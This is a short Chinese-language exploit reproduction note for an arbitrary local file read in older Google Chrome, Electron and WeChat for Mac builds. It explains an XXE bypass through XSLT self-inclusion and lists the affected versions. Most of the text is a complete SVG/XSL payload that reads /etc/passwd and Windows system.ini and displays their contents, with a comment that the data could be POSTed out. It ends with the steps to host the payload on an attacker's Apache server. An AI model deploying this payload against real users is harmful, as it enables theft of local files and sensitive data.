Google Chrome 任意文件讀取
漏洞原理:第一次實體聲明引用外部實體是被攔截的,通過將自身作為外部 XML 文檔進行自我包含後,再進行第二次實體聲明引用外部實體,並且要求兩次的引用的格式能相互兼容不報錯,即可繞過攔截,讀取本地文件
利用條件:
Chrome 版本 < 116.0.5845.96
Electrom 版本 < 26.1.0
微信 Mac 版本 < 3.8.5.17
必要條件:關閉沙箱模式
複現環境
Payload
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
<!ENTITY passwd_p "file:///etc/passwd">
<!ENTITY passwd_c SYSTEM "file:///etc/passwd">
<!ENTITY sysini_p "file:///c:/windows/system.ini">
<!ENTITY sysini_c SYSTEM "file:///c:/windows/system.ini">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('')"/>
<body xmlns="http://www.w3.org/1999/xhtml">
<div style="display:none">
<p class="&passwd_p;">&passwd_c;</p>
<p class="&sysini_p;">&sysini_c;</p>
</div>
<div style="width:40rem" id="r" />
<script>
document.querySelector('#r').innerHTML = `
remote web url: <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`;
document.querySelectorAll('p').forEach(p => {
//You can send p.innerHTML by POST.
document.querySelector('#r').innerHTML += `
local file path: <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/>
local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`;
});
</script>
</body>
</xsl:template>
</xsl:stylesheet>
攻擊機打開 Apache 服務 將 payload 命名為 d.svg 瀏覽器訪問頁面
systemctl start apache2
成功讀取到本地 system.ini 文件,通過該漏洞可以讀取 Windows 其他敏感文件,以及執行 XXE 代碼